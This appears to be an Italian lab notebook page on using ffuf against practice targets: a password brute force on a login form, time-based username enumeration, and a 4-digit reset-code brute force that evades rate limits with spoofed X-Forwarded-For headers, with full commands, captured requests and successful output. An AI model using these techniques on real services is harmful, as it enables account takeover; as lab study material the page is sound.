tags: ffuf ffuf_bruteforce Enumerazione_Utenti_Bruteforce FFUF_Enumerazione_Utenti FFUF_X-forwarded-For_Bypass


Tramite questo programma possiamo anche effettuare attacchi bruteforce, ci basta recuperare i dati fondamentali tramite burpsuite e poi lanciare il seguente comando:

$ ffuf -u http://10.10.125.182/sqli-labs/Less-11/ -c -w /usr/share/seclists/Passwords/Leaked-Databases/hak5.txt -X POST -d 'uname=Dummy&passwd=FUZZ&submit=Submit' -fs 1435 -H 'Content-Type: application/x-www-form-urlencoded'

Dove con -X specifichi il metodo, con -d il valore della richiesta e con -H il custom header che a differenza di curl non riesce a trovare in automatico. Ovviamente il parametro con FUZZ è quello a cui andremo a fare l’attacco a dizionario.

User Enumeration Time Based

Tramite FFUF si può fare anche un’enumerazione utenti su un servizio di login che ha come vulnerabilità un ritardo tra autenticazione con username corretto e username scorretto nel seguente modo:

ffuf -w /opt/wordlists/SecList/Usernames/Names/names.txt -X POST -d '{"username":"FUZZ","password":"wrongpass"}' -H "Content-Type: application/json" -u http://10.10.48.17/api/user/login -mt ">500" -t 10
 
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : POST
 :: URL              : http://10.10.48.17/api/user/login
 :: Wordlist         : FUZZ: /opt/wordlists/SecList/Usernames/Names/names.txt
 :: Header           : Content-Type: application/json
 :: Data             : {"username":"FUZZ","password":"wrongpass"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 10
 :: Matcher          : Response time: >500
________________________________________________
 
james          [Status: 200, Size: 42, Words: 4, Lines: 2, Duration: 1448ms]

Dove con -mt indichi quanto tempo ci mette la risposta con username corretto.

Bypass X-Forwarded-For

In questo esempio andremo a fare un bruteforce di un codice a 4 cifre che ha il blocco X-Forwarded. Per prima cosa ci creaiamo le due wordlists:

# 1. Genera i codici (0000-9999)
seq -w 0 9999 > codes.txt
 
# 2. Genera 10.000 IP casuali
for i in {1..10000}; do echo "$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256))"; done > ips.txt

Ora che abbiamo le wordlist possiamo lanciare il seguente comando:

ffuf -u 'http://10.82.175.192:1337/reset_password.php' \
-X POST \
-H 'Cookie: PHPSESSID=TUO_COOKIE_AGGIORNATO' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'X-Forwarded-For: W2' \
-d 'recovery_code=W1&s=179' \
-w codes.txt:W1 \
-w ips.txt:W2 \
-mode pitchfork \
-fr "Invalid"

Tieni conto che la richiesta di Burpsuite era la seguente:

POST /reset_password.php HTTP/1.1
Host: 10.82.151.10:1337
Content-Length: 24
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.82.151.10:1337
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.82.151.10:1337/reset_password.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=6va92q6kb5meo5j0m2ul0a903t
Connection: keep-alive
 
recovery_code=1234&s=177

E la relativa risposta di errore la seguente:

HTTP/1.1 200 OK
Date: Wed, 03 Dec 2025 09:18:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Rate-Limit-Pending: 6
Vary: Accept-Encoding
Content-Length: 2202
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
 
 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Reset Password</title>
     <link href="/hmr_css/bootstrap.min.css" rel="stylesheet">
    <script src="/hrm_js/jquery-3.6.0.min.js"></script>
	    <script>
	let countdownv = 177;
        function startCountdown() {
            
            let timerElement = document.getElementById("countdown");
			const hiddenField = document.getElementById("s");
            let interval = setInterval(function() {
                countdownv--;
				 hiddenField.value = countdownv;
                if (countdownv <= 0) {
                    clearInterval(interval);
					//alert("hello");
                   window.location.href = 'logout.php'; 
                }
                timerElement.textContent = "You have " + countdownv + " seconds to enter your code.";
            }, 1000);
        }
    </script>
</head>
<body>
<div class="container mt-5">
    <div class="row justify-content-center">
        <div class="col-md-4">
                            <div class="alert alert-danger">Invalid or expired recovery code!</div>
            
                            <h3 class="text-center">Enter Recovery Code</h3>
                <p id="countdown">You can enter your code in 177 seconds.</p>
                <form method="POST" action="">
                    <div class="mb-3">
                        <label for="recovery_code" class="form-label">4-Digit Code</label>
                        <input type="text" class="form-control" id="recovery_code" name="recovery_code" required>
						  <input type="hidden" class="form-control" id="s" name="s" required>
                    </div>
                    <button type="submit" class="btn btn-primary w-100">Submit Code</button> 
					<p></p>
					<button type="button" class="btn btn-primary w-100" style="background-color: red; border-color: red;" onclick="window.location.href='logout.php';">Cancel</button>
 
                </form>
                <script>startCountdown();</script>
 
                    </div>
    </div>
</div>
</body>
</html>

L’attacco effettivo risulta essere questo:

ffuf -u 'http://10.82.151.10:1337/reset_password.php' -X POST -H 'Cookie: PHPSESSID=6va92q6kb5meo5j0m2ul0a903t' -H 'Content-Type: application/x-www-form-urlencoded' -H 'X-Forwarded-For: W2' -d 'recovery_code=W1&s=179' -w codes.txt:W1 -w ips.txt:W2 -mode pitchfork -fr "Invalid"
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : POST
 :: URL              : http://10.82.151.10:1337/reset_password.php
 :: Wordlist         : W1: /tmp/seq10000.txt
 :: Wordlist         : W2: /tmp/ips.txt
 :: Header           : Cookie: PHPSESSID=6va92q6kb5meo5j0m2ul0a903t
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : X-Forwarded-For: W2
 :: Data             : recovery_code=W1&s=179
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Invalid
________________________________________________
 
[Status: 200, Size: 2191, Words: 595, Lines: 53, Duration: 63ms]
    * W1: 2750
    * W2: 59.211.223.198
 
:: Progress: [8399/10000] :: Job [1/1] :: 192 req/sec :: Duration: [0:00:30] :: Errors: 0 :::: Progress: [8408/10000] :: Job [1/1] :: 243 req/sec :: Duration: [0:00:30] :: Errors: 40 :[WARN] Caught keyboard interrupt (Ctrl-C)

Il codice è 2750.